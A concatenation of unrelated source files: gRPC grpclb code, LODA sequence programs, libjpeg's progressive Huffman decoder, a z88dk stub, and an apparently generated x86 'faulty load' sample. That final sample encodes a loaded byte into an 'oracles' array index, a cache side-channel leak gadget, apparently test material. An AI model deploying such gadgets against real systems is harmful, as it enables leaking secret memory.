glb_policy->lb_call_timeout_ms =
grpc_channel_arg_get_integer(arg, {0, 0, INT_MAX});
arg = grpc_channel_args_find(args->args, GRPC_ARG_GRPCLB_FALLBACK_TIMEOUT_MS);
glb_policy->lb_fallback_timeout_ms = grpc_channel_arg_get_integer(
arg, {GRPC_GRPCLB_DEFAULT_FALLBACK_TIMEOUT_MS, 0, INT_MAX});
// Make sure that GRPC_ARG_LB_POLICY_NAME is set in channel args,
// since we use this to trigger the client_load_reporting filter.
grpc_arg new_arg = grpc_channel_arg_string_create(
(char *)GRPC_ARG_LB_POLICY_NAME, (char *)"grpclb");
static const char *args_to_remove[] = {GRPC_ARG_LB_POLICY_NAME};
glb_policy->args = grpc_channel_args_copy_and_add_and_remove(
args->args, args_to_remove, GPR_ARRAY_SIZE(args_to_remove), &new_arg, 1);
/* Extract the backend addresses (may be empty) from the resolver for
* fallback. */
glb_policy->fallback_backend_addresses =
extract_backend_addresses_locked(exec_ctx, addresses);
/* Create a client channel over them to communicate with a LB service */
glb_policy->response_generator =
grpc_fake_resolver_response_generator_create();
grpc_channel_args *lb_channel_args = build_lb_channel_args(
exec_ctx, addresses, glb_policy->response_generator, args->args);
char *uri_str;
gpr_asprintf(&uri_str, "fake:///%s", glb_policy->server_name);
glb_policy->lb_channel = grpc_lb_policy_grpclb_create_lb_channel(
exec_ctx, uri_str, args->client_channel_factory, lb_channel_args);
/* Propagate initial resolution */
grpc_fake_resolver_response_generator_set_response(
exec_ctx, glb_policy->response_generator, lb_channel_args);
grpc_channel_args_destroy(exec_ctx, lb_channel_args);
gpr_free(uri_str);
if (glb_policy->lb_channel == NULL) {
gpr_free((void *)glb_policy->server_name);
grpc_channel_args_destroy(exec_ctx, glb_policy->args);
gpr_free(glb_policy);
return NULL;
}
grpc_subchannel_index_ref();
GRPC_CLOSURE_INIT(&glb_policy->lb_channel_on_connectivity_changed,
glb_lb_channel_on_connectivity_changed_cb, glb_policy,
grpc_combiner_scheduler(args->combiner));
grpc_lb_policy_init(&glb_policy->base, &glb_lb_policy_vtable, args->combiner);
grpc_connectivity_state_init(&glb_policy->state_tracker, GRPC_CHANNEL_IDLE,
"grpclb");
return &glb_policy->base;
}
static void glb_factory_ref(grpc_lb_policy_factory *factory) {}
static void glb_factory_unref(grpc_lb_policy_factory *factory) {}
static const grpc_lb_policy_factory_vtable glb_factory_vtable = {
glb_factory_ref, glb_factory_unref, glb_create, "grpclb"};
static grpc_lb_policy_factory glb_lb_policy_factory = {&glb_factory_vtable};
grpc_lb_policy_factory *grpc_glb_lb_factory_create() {
return &glb_lb_policy_factory;
}
/* Plugin registration */
// Only add client_load_reporting filter if the grpclb LB policy is used.
static bool maybe_add_client_load_reporting_filter(
grpc_exec_ctx *exec_ctx, grpc_channel_stack_builder *builder, void *arg) {
const grpc_channel_args *args =
grpc_channel_stack_builder_get_channel_arguments(builder);
const grpc_arg *channel_arg =
grpc_channel_args_find(args, GRPC_ARG_LB_POLICY_NAME);
if (channel_arg != NULL && channel_arg->type == GRPC_ARG_STRING &&
strcmp(channel_arg->value.string, "grpclb") == 0) {
return grpc_channel_stack_builder_append_filter(
builder, (const grpc_channel_filter *)arg, NULL, NULL);
}
return true;
}
extern "C" void grpc_lb_policy_grpclb_init() {
grpc_register_lb_policy(grpc_glb_lb_factory_create());
grpc_register_tracer(&grpc_lb_glb_trace);
#ifndef NDEBUG
grpc_register_tracer(&grpc_trace_lb_policy_refcount);
#endif
grpc_channel_init_register_stage(GRPC_CLIENT_SUBCHANNEL,
GRPC_CHANNEL_INIT_BUILTIN_PRIORITY,
maybe_add_client_load_reporting_filter,
(void *)&grpc_client_load_reporting_filter);
}
extern "C" void grpc_lb_policy_grpclb_shutdown() {}
|
; A142433: Primes congruent to 23 mod 49.
; Submitted by Jon Maiga
; 23,317,709,1297,1493,1787,2081,2179,2473,2767,2963,3061,3257,3943,4139,5021,5119,5413,5903,6197,6491,6883,7079,7177,8059,8353,8647,8941,9137,9431,10313,10607,11489,11587,11783,12763,12959,13841,14723,14821,15017,16193,16487,16879,17467,17761,17957,18251,18839,19231,19427,19819,20113,20407,20897,21191,22073,22171,22367,23053,24229,25013,25111,25307,25601,26189,26777,27953,28051,28541,28933,29129,29423,29717,30011,30109,30403,30697,30893,31481,31873,32069,32363,33049,33343,33637,33931,34127,34421
mov $2,$0
add $2,6
pow $2,2
mov $4,9
lpb $2
mov $3,$4
add $3,13
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
mov $1,$0
max $1,0
cmp $1,$0
mul $2,$1
sub $2,1
add $4,49
lpe
mov $0,$4
add $0,14
|
/*
* jdphuff.c
*
* Copyright (C) 1995-1997, Thomas G. Lane.
* This file is part of the Independent JPEG Group's software.
* For conditions of distribution and use, see the accompanying README file.
*
* This file contains Huffman entropy decoding routines for progressive JPEG.
*
* Much of the complexity here has to do with supporting input suspension.
* If the data source module demands suspension, we want to be able to back
* up to the start of the current MCU. To do this, we copy state variables
* into local working storage, and update them back to the permanent
* storage only upon successful completion of an MCU.
*/
#define JPEG_INTERNALS
#include "jinclude.h"
#include "jpeglib.h"
#include "jdhuff.h" /* Declarations shared with jdhuff.c */
#ifdef D_PROGRESSIVE_SUPPORTED
/*
* Expanded entropy decoder object for progressive Huffman decoding.
*
* The savable_state subrecord contains fields that change within an MCU,
* but must not be updated permanently until we complete the MCU.
*/
typedef struct {
unsigned int EOBRUN; /* remaining EOBs in EOBRUN */
int last_dc_val[MAX_COMPS_IN_SCAN]; /* last DC coef for each component */
} savable_state;
/* This macro is to work around compilers with missing or broken
* structure assignment. You'll need to fix this code if you have
* such a compiler and you change MAX_COMPS_IN_SCAN.
*/
#ifndef NO_STRUCT_ASSIGN
#define ASSIGN_STATE(dest,src) ((dest) = (src))
#else
#if MAX_COMPS_IN_SCAN == 4
#define ASSIGN_STATE(dest,src) \
((dest).EOBRUN = (src).EOBRUN, \
(dest).last_dc_val[0] = (src).last_dc_val[0], \
(dest).last_dc_val[1] = (src).last_dc_val[1], \
(dest).last_dc_val[2] = (src).last_dc_val[2], \
(dest).last_dc_val[3] = (src).last_dc_val[3])
#endif
#endif
typedef struct {
struct jpeg_entropy_decoder pub; /* public fields */
/* These fields are loaded into local variables at start of each MCU.
* In case of suspension, we exit WITHOUT updating them.
*/
bitread_perm_state bitstate; /* Bit buffer at start of MCU */
savable_state saved; /* Other state at start of MCU */
/* These fields are NOT loaded into local working state. */
unsigned int restarts_to_go; /* MCUs left in this restart interval */
/* Pointers to derived tables (these workspaces have image lifespan) */
d_derived_tbl * derived_tbls[NUM_HUFF_TBLS];
d_derived_tbl * ac_derived_tbl; /* active table during an AC scan */
} phuff_entropy_decoder;
typedef phuff_entropy_decoder * phuff_entropy_ptr;
/* Forward declarations */
METHODDEF(int) decode_mcu_DC_first JPP((j_decompress_ptr cinfo,
JBLOCKROW *MCU_data));
METHODDEF(int) decode_mcu_AC_first JPP((j_decompress_ptr cinfo,
JBLOCKROW *MCU_data));
METHODDEF(int) decode_mcu_DC_refine JPP((j_decompress_ptr cinfo,
JBLOCKROW *MCU_data));
METHODDEF(int) decode_mcu_AC_refine JPP((j_decompress_ptr cinfo,
JBLOCKROW *MCU_data));
/*
* Initialize for a Huffman-compressed scan.
*/
METHODDEF(void)
start_pass_phuff_decoder (j_decompress_ptr cinfo)
{
phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;
int is_DC_band, bad;
int ci, coefi, tbl;
int *coef_bit_ptr;
jpeg_component_info * compptr;
is_DC_band = (cinfo->Ss == 0);
/* Validate scan parameters */
bad = FALSE;
if (is_DC_band) {
if (cinfo->Se != 0)
bad = TRUE;
} else {
/* need not check Ss/Se < 0 since they came from unsigned bytes */
if (cinfo->Ss > cinfo->Se || cinfo->Se >= DCTSIZE2)
bad = TRUE;
/* AC scans may have only one component */
if (cinfo->comps_in_scan != 1)
bad = TRUE;
}
if (cinfo->Ah != 0) {
/* Successive approximation refinement scan: must have Al = Ah-1. */
if (cinfo->Al != cinfo->Ah-1)
bad = TRUE;
}
if (cinfo->Al > 13) /* need not check for < 0 */
bad = TRUE;
/* Arguably the maximum Al value should be less than 13 for 8-bit precision,
* but the spec doesn't say so, and we try to be liberal about what we
* accept. Note: large Al values could result in out-of-range DC
* coefficients during early scans, leading to bizarre displays due to
* overflows in the IDCT math. But we won't crash.
*/
if (bad)
ERREXIT4(cinfo, JERR_BAD_PROGRESSION,
cinfo->Ss, cinfo->Se, cinfo->Ah, cinfo->Al);
/* Update progression status, and verify that scan order is legal.
* Note that inter-scan inconsistencies are treated as warnings
* not fatal errors ... not clear if this is right way to behave.
*/
for (ci = 0; ci < cinfo->comps_in_scan; ci++) {
int cindex = cinfo->cur_comp_info[ci]->component_index;
coef_bit_ptr = & cinfo->coef_bits[cindex][0];
if (!is_DC_band && coef_bit_ptr[0] < 0) /* AC without prior DC scan */
WARNMS2(cinfo, JWRN_BOGUS_PROGRESSION, cindex, 0);
for (coefi = cinfo->Ss; coefi <= cinfo->Se; coefi++) {
int expected = (coef_bit_ptr[coefi] < 0) ? 0 : coef_bit_ptr[coefi];
if (cinfo->Ah != expected)
WARNMS2(cinfo, JWRN_BOGUS_PROGRESSION, cindex, coefi);
coef_bit_ptr[coefi] = cinfo->Al;
}
}
/* Select MCU decoding routine */
if (cinfo->Ah == 0) {
if (is_DC_band)
entropy->pub.decode_mcu = decode_mcu_DC_first;
else
entropy->pub.decode_mcu = decode_mcu_AC_first;
} else {
if (is_DC_band)
entropy->pub.decode_mcu = decode_mcu_DC_refine;
else
entropy->pub.decode_mcu = decode_mcu_AC_refine;
}
for (ci = 0; ci < cinfo->comps_in_scan; ci++) {
compptr = cinfo->cur_comp_info[ci];
/* Make sure requested tables are present, and compute derived tables.
* We may build same derived table more than once, but it's not expensive.
*/
if (is_DC_band) {
if (cinfo->Ah == 0) { /* DC refinement needs no table */
tbl = compptr->dc_tbl_no;
jpeg_make_d_derived_tbl(cinfo, TRUE, tbl,
& entropy->derived_tbls[tbl]);
}
} else {
tbl = compptr->ac_tbl_no;
jpeg_make_d_derived_tbl(cinfo, FALSE, tbl,
& entropy->derived_tbls[tbl]);
/* remember the single active table */
entropy->ac_derived_tbl = entropy->derived_tbls[tbl];
}
/* Initialize DC predictions to 0 */
entropy->saved.last_dc_val[ci] = 0;
}
/* Initialize bitread state variables */
entropy->bitstate.bits_left = 0;
entropy->bitstate.get_buffer = 0; /* unnecessary, but keeps Purify quiet */
entropy->pub.insufficient_data = FALSE;
/* Initialize private state variables */
entropy->saved.EOBRUN = 0;
/* Initialize restart counter */
entropy->restarts_to_go = cinfo->restart_interval;
}
/*
* Figure F.12: extend sign bit.
* On some machines, a shift and add will be faster than a table lookup.
*/
#ifdef AVOID_TABLES
#define HUFF_EXTEND(x,s) ((x) < (1<<((s)-1)) ? (x) + (((-1)<<(s)) + 1) : (x))
#else
#define HUFF_EXTEND(x,s) ((x) < extend_test[s] ? (x) + extend_offset[s] : (x))
static const int extend_test[16] = /* entry n is 2**(n-1) */
{ 0, 0x0001, 0x0002, 0x0004, 0x0008, 0x0010, 0x0020, 0x0040, 0x0080,
0x0100, 0x0200, 0x0400, 0x0800, 0x1000, 0x2000, 0x4000 };
static const int extend_offset[16] = /* entry n is (-1 << n) + 1 */
{ 0, ((-1)<<1) + 1, ((-1)<<2) + 1, ((-1)<<3) + 1, ((-1)<<4) + 1,
((-1)<<5) + 1, ((-1)<<6) + 1, ((-1)<<7) + 1, ((-1)<<8) + 1,
((-1)<<9) + 1, ((-1)<<10) + 1, ((-1)<<11) + 1, ((-1)<<12) + 1,
((-1)<<13) + 1, ((-1)<<14) + 1, ((-1)<<15) + 1 };
#endif /* AVOID_TABLES */
/*
* Check for a restart marker & resynchronize decoder.
* Returns FALSE if must suspend.
*/
LOCAL(int)
process_restart (j_decompress_ptr cinfo)
{
phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;
int ci;
/* Throw away any unused bits remaining in bit buffer; */
/* include any full bytes in next_marker's count of discarded bytes */
cinfo->marker->discarded_bytes += entropy->bitstate.bits_left / 8;
entropy->bitstate.bits_left = 0;
/* Advance past the RSTn marker */
if (! (*cinfo->marker->read_restart_marker) (cinfo))
return FALSE;
/* Re-initialize DC predictions to 0 */
for (ci = 0; ci < cinfo->comps_in_scan; ci++)
entropy->saved.last_dc_val[ci] = 0;
/* Re-init EOB run count, too */
entropy->saved.EOBRUN = 0;
/* Reset restart counter */
entropy->restarts_to_go = cinfo->restart_interval;
/* Reset out-of-data flag, unless read_restart_marker left us smack up
* against a marker. In that case we will end up treating the next data
* segment as empty, and we can avoid producing bogus output pixels by
* leaving the flag set.
*/
if (cinfo->unread_marker == 0)
entropy->pub.insufficient_data = FALSE;
return TRUE;
}
/*
* Huffman MCU decoding.
* Each of these routines decodes and returns one MCU's worth of
* Huffman-compressed coefficients.
* The coefficients are reordered from zigzag order into natural array order,
* but are not dequantized.
*
* The i'th block of the MCU is stored into the block pointed to by
* MCU_data[i]. WE ASSUME THIS AREA IS INITIALLY ZEROED BY THE CALLER.
*
* We return FALSE if data source requested suspension. In that case no
* changes have been made to permanent state. (Exception: some output
* coefficients may already have been assigned. This is harmless for
* spectral selection, since we'll just re-assign them on the next call.
* Successive approximation AC refinement has to be more careful, however.)
*/
/*
* MCU decoding for DC initial scan (either spectral selection,
* or first pass of successive approximation).
*/
METHODDEF(int)
decode_mcu_DC_first (j_decompress_ptr cinfo, JBLOCKROW *MCU_data)
{
phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;
int Al = cinfo->Al;
register int s, r;
int blkn, ci;
JBLOCKROW block;
BITREAD_STATE_VARS;
savable_state state;
d_derived_tbl * tbl;
jpeg_component_info * compptr;
/* Process restart marker if needed; may have to suspend */
if (cinfo->restart_interval) {
if (entropy->restarts_to_go == 0)
if (! process_restart(cinfo))
return FALSE;
}
/* If we've run out of data, just leave the MCU set to zeroes.
* This way, we return uniform gray for the remainder of the segment.
*/
if (! entropy->pub.insufficient_data) {
/* Load up working state */
BITREAD_LOAD_STATE(cinfo,entropy->bitstate);
ASSIGN_STATE(state, entropy->saved);
/* Outer loop handles each block in the MCU */
for (blkn = 0; blkn < cinfo->blocks_in_MCU; blkn++) {
block = MCU_data[blkn];
ci = cinfo->MCU_membership[blkn];
compptr = cinfo->cur_comp_info[ci];
tbl = entropy->derived_tbls[compptr->dc_tbl_no];
/* Decode a single block's worth of coefficients */
/* Section F.2.2.1: decode the DC coefficient difference */
HUFF_DECODE(s, br_state, tbl, return FALSE, label1);
if (s) {
CHECK_BIT_BUFFER(br_state, s, return FALSE);
r = GET_BITS(s);
s = HUFF_EXTEND(r, s);
}
/* Convert DC difference to actual value, update last_dc_val */
s += state.last_dc_val[ci];
state.last_dc_val[ci] = s;
/* Scale and output the coefficient (assumes jpeg_natural_order[0]=0) */
(*block)[0] = (JCOEF) (s << Al);
}
/* Completed MCU, so update state */
BITREAD_SAVE_STATE(cinfo,entropy->bitstate);
ASSIGN_STATE(entropy->saved, state);
}
/* Account for restart interval (no-op if not using restarts) */
entropy->restarts_to_go--;
return TRUE;
}
/*
* MCU decoding for AC initial scan (either spectral selection,
* or first pass of successive approximation).
*/
METHODDEF(int)
decode_mcu_AC_first (j_decompress_ptr cinfo, JBLOCKROW *MCU_data)
{
phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;
int Se = cinfo->Se;
int Al = cinfo->Al;
register int s, k, r;
unsigned int EOBRUN;
JBLOCKROW block;
BITREAD_STATE_VARS;
d_derived_tbl * tbl;
/* Process restart marker if needed; may have to suspend */
if (cinfo->restart_interval) {
if (entropy->restarts_to_go == 0)
if (! process_restart(cinfo))
return FALSE;
}
/* If we've run out of data, just leave the MCU set to zeroes.
* This way, we return uniform gray for the remainder of the segment.
*/
if (! entropy->pub.insufficient_data) {
/* Load up working state.
* We can avoid loading/saving bitread state if in an EOB run.
*/
EOBRUN = entropy->saved.EOBRUN; /* only part of saved state we need */
/* There is always only one block per MCU */
if (EOBRUN > 0) /* if it's a band of zeroes... */
EOBRUN--; /* ...process it now (we do nothing) */
else {
BITREAD_LOAD_STATE(cinfo,entropy->bitstate);
block = MCU_data[0];
tbl = entropy->ac_derived_tbl;
for (k = cinfo->Ss; k <= Se; k++) {
HUFF_DECODE(s, br_state, tbl, return FALSE, label2);
r = s >> 4;
s &= 15;
if (s) {
k += r;
CHECK_BIT_BUFFER(br_state, s, return FALSE);
r = GET_BITS(s);
s = HUFF_EXTEND(r, s);
/* Scale and output coefficient in natural (dezigzagged) order */
(*block)[jpeg_natural_order[k]] = (JCOEF) (s << Al);
} else {
if (r == 15) { /* ZRL */
k += 15; /* skip 15 zeroes in band */
} else { /* EOBr, run length is 2^r + appended bits */
EOBRUN = 1 << r;
if (r) { /* EOBr, r > 0 */
CHECK_BIT_BUFFER(br_state, r, return FALSE);
r = GET_BITS(r);
EOBRUN += r;
}
EOBRUN--; /* this band is processed at this moment */
break; /* force end-of-band */
}
}
}
BITREAD_SAVE_STATE(cinfo,entropy->bitstate);
}
/* Completed MCU, so update state */
entropy->saved.EOBRUN = EOBRUN; /* only part of saved state we need */
}
/* Account for restart interval (no-op if not using restarts) */
entropy->restarts_to_go--;
return TRUE;
}
/*
* MCU decoding for DC successive approximation refinement scan.
* Note: we assume such scans can be multi-component, although the spec
* is not very clear on the point.
*/
METHODDEF(int)
decode_mcu_DC_refine (j_decompress_ptr cinfo, JBLOCKROW *MCU_data)
{
phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;
int p1 = 1 << cinfo->Al; /* 1 in the bit position being coded */
int blkn;
JBLOCKROW block;
BITREAD_STATE_VARS;
/* Process restart marker if needed; may have to suspend */
if (cinfo->restart_interval) {
if (entropy->restarts_to_go == 0)
if (! process_restart(cinfo))
return FALSE;
}
/* Not worth the cycles to check insufficient_data here,
* since we will not change the data anyway if we read zeroes.
*/
/* Load up working state */
BITREAD_LOAD_STATE(cinfo,entropy->bitstate);
/* Outer loop handles each block in the MCU */
for (blkn = 0; blkn < cinfo->blocks_in_MCU; blkn++) {
block = MCU_data[blkn];
/* Encoded data is simply the next bit of the two's-complement DC value */
CHECK_BIT_BUFFER(br_state, 1, return FALSE);
if (GET_BITS(1))
(*block)[0] |= p1;
/* Note: since we use |=, repeating the assignment later is safe */
}
/* Completed MCU, so update state */
BITREAD_SAVE_STATE(cinfo,entropy->bitstate);
/* Account for restart interval (no-op if not using restarts) */
entropy->restarts_to_go--;
return TRUE;
}
/*
* MCU decoding for AC successive approximation refinement scan.
*/
METHODDEF(int)
decode_mcu_AC_refine (j_decompress_ptr cinfo, JBLOCKROW *MCU_data)
{
phuff_entropy_ptr entropy = (phuff_entropy_ptr) cinfo->entropy;
int Se = cinfo->Se;
int p1 = 1 << cinfo->Al; /* 1 in the bit position being coded */
int m1 = (-1) << cinfo->Al; /* -1 in the bit position being coded */
register int s, k, r;
unsigned int EOBRUN;
JBLOCKROW block;
JCOEFPTR thiscoef;
BITREAD_STATE_VARS;
d_derived_tbl * tbl;
int num_newnz;
int newnz_pos[DCTSIZE2];
/* Process restart marker if needed; may have to suspend */
if (cinfo->restart_interval) {
if (entropy->restarts_to_go == 0)
if (! process_restart(cinfo))
return FALSE;
}
/* If we've run out of data, don't modify the MCU.
*/
if (! entropy->pub.insufficient_data) {
/* Load up working state */
BITREAD_LOAD_STATE(cinfo,entropy->bitstate);
EOBRUN = entropy->saved.EOBRUN; /* only part of saved state we need */
/* There is always only one block per MCU */
block = MCU_data[0];
tbl = entropy->ac_derived_tbl;
/* If we are forced to suspend, we must undo the assignments to any newly
* nonzero coefficients in the block, because otherwise we'd get confused
* next time about which coefficients were already nonzero.
* But we need not undo addition of bits to already-nonzero coefficients;
* instead, we can test the current bit to see if we already did it.
*/
num_newnz = 0;
/* initialize coefficient loop counter to start of band */
k = cinfo->Ss;
if (EOBRUN == 0) {
for (; k <= Se; k++) {
HUFF_DECODE(s, br_state, tbl, goto undoit, label3);
r = s >> 4;
s &= 15;
if (s) {
if (s != 1) /* size of new coef should always be 1 */
WARNMS(cinfo, JWRN_HUFF_BAD_CODE);
CHECK_BIT_BUFFER(br_state, 1, goto undoit);
if (GET_BITS(1))
s = p1; /* newly nonzero coef is positive */
else
s = m1; /* newly nonzero coef is negative */
} else {
if (r != 15) {
EOBRUN = 1 << r; /* EOBr, run length is 2^r + appended bits */
if (r) {
CHECK_BIT_BUFFER(br_state, r, goto undoit);
r = GET_BITS(r);
EOBRUN += r;
}
break; /* rest of block is handled by EOB logic */
}
/* note s = 0 for processing ZRL */
}
/* Advance over already-nonzero coefs and r still-zero coefs,
* appending correction bits to the nonzeroes. A correction bit is 1
* if the absolute value of the coefficient must be increased.
*/
do {
thiscoef = *block + jpeg_natural_order[k];
if (*thiscoef != 0) {
CHECK_BIT_BUFFER(br_state, 1, goto undoit);
if (GET_BITS(1)) {
if ((*thiscoef & p1) == 0) { /* do nothing if already set it */
if (*thiscoef >= 0)
*thiscoef += p1;
else
*thiscoef += m1;
}
}
} else {
if (--r < 0)
break; /* reached target zero coefficient */
}
k++;
} while (k <= Se);
if (s) {
int pos = jpeg_natural_order[k];
/* Output newly nonzero coefficient */
(*block)[pos] = (JCOEF) s;
/* Remember its position in case we have to suspend */
newnz_pos[num_newnz++] = pos;
}
}
}
if (EOBRUN > 0) {
/* Scan any remaining coefficient positions after the end-of-band
* (the last newly nonzero coefficient, if any). Append a correction
* bit to each already-nonzero coefficient. A correction bit is 1
* if the absolute value of the coefficient must be increased.
*/
for (; k <= Se; k++) {
thiscoef = *block + jpeg_natural_order[k];
if (*thiscoef != 0) {
CHECK_BIT_BUFFER(br_state, 1, goto undoit);
if (GET_BITS(1)) {
if ((*thiscoef & p1) == 0) { /* do nothing if already changed it */
if (*thiscoef >= 0)
*thiscoef += p1;
else
*thiscoef += m1;
}
}
}
}
/* Count one block completed in EOB run */
EOBRUN--;
}
/* Completed MCU, so update state */
BITREAD_SAVE_STATE(cinfo,entropy->bitstate);
entropy->saved.EOBRUN = EOBRUN; /* only part of saved state we need */
}
/* Account for restart interval (no-op if not using restarts) */
entropy->restarts_to_go--;
return TRUE;
undoit:
/* Re-zero any output coefficients that we made newly nonzero */
while (num_newnz > 0)
(*block)[newnz_pos[--num_newnz]] = 0;
return FALSE;
}
/*
* Module initialization routine for progressive Huffman entropy decoding.
*/
GLOBAL(void)
jinit_phuff_decoder (j_decompress_ptr cinfo)
{
phuff_entropy_ptr entropy;
int *coef_bit_ptr;
int ci, i;
entropy = (phuff_entropy_ptr)
(*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,
SIZEOF(phuff_entropy_decoder));
cinfo->entropy = (struct jpeg_entropy_decoder *) entropy;
entropy->pub.start_pass = start_pass_phuff_decoder;
/* Mark derived tables unallocated */
for (i = 0; i < NUM_HUFF_TBLS; i++) {
entropy->derived_tbls[i] = NULL;
}
/* Create progression status table */
cinfo->coef_bits = (int (*)[DCTSIZE2])
(*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,
cinfo->num_components*DCTSIZE2*SIZEOF(int));
coef_bit_ptr = & cinfo->coef_bits[0][0];
for (ci = 0; ci < cinfo->num_components; ci++)
for (i = 0; i < DCTSIZE2; i++)
*coef_bit_ptr++ = -1;
}
#endif /* D_PROGRESSIVE_SUPPORTED */
|
; A180602: (2^(n+1) - 1)^n.
; 1,3,49,3375,923521,992436543,4195872914689,70110209207109375,4649081944211090042881,1227102111503512992112190463,1291749870339606615892191271170049
mov $1,2
mov $2,$0
add $2,1
pow $1,$2
sub $1,1
pow $1,$0
mov $0,$1
|
; ===============================================================
; Mar 2014
; ===============================================================
;
; int ba_priority_queue_empty(ba_priority_queue_t *q)
;
; Return non-zero if the queue is empty.
;
; ===============================================================
SECTION code_adt_ba_priority_queue
PUBLIC asm_ba_priority_queue_empty
EXTERN l_testword_hl
defc asm_ba_priority_queue_empty = l_testword_hl - 4
; enter : hl = priority_queue *
;
; exit : if queue is empty
;
; hl = 1
; z flag set
;
; if queue is not empty
;
; hl = 0
; nz flag set
;
; uses : af, hl
|
.global s_prepare_buffers
s_prepare_buffers:
push %r11
push %r12
push %r14
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1bf8c, %rsi
lea addresses_A_ht+0x1226c, %rdi
nop
and %r12, %r12
mov $123, %rcx
rep movsl
nop
nop
nop
nop
nop
xor $19594, %r11
lea addresses_A_ht+0x1dc4c, %rdi
nop
nop
xor %r14, %r14
mov (%rdi), %r11d
nop
nop
nop
add $34624, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %r14
pop %r12
pop %r11
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r15
push %rbx
push %rcx
push %rdx
push %rsi
// Store
lea addresses_UC+0x1748c, %rdx
cmp %r15, %r15
movl $0x51525354, (%rdx)
xor %rbx, %rbx
// Store
lea addresses_PSE+0x10e4c, %r10
inc %rsi
movb $0x51, (%r10)
inc %rsi
// Faulty Load
lea addresses_A+0xac4c, %r15
nop
sub $39655, %rsi
vmovups (%r15), %ymm3
vextracti128 $0, %ymm3, %xmm3
vpextrq $0, %xmm3, %rdx
lea oracles, %rbx
and $0xff, %rdx
shlq $12, %rdx
mov (%rbx,%rdx,1), %rdx
pop %rsi
pop %rdx
pop %rcx
pop %rbx
pop %r15
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 16, 'AVXalign': True, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 9, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 5, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A_ht', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 11, 'same': False}}
{'35': 18115}
35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 35 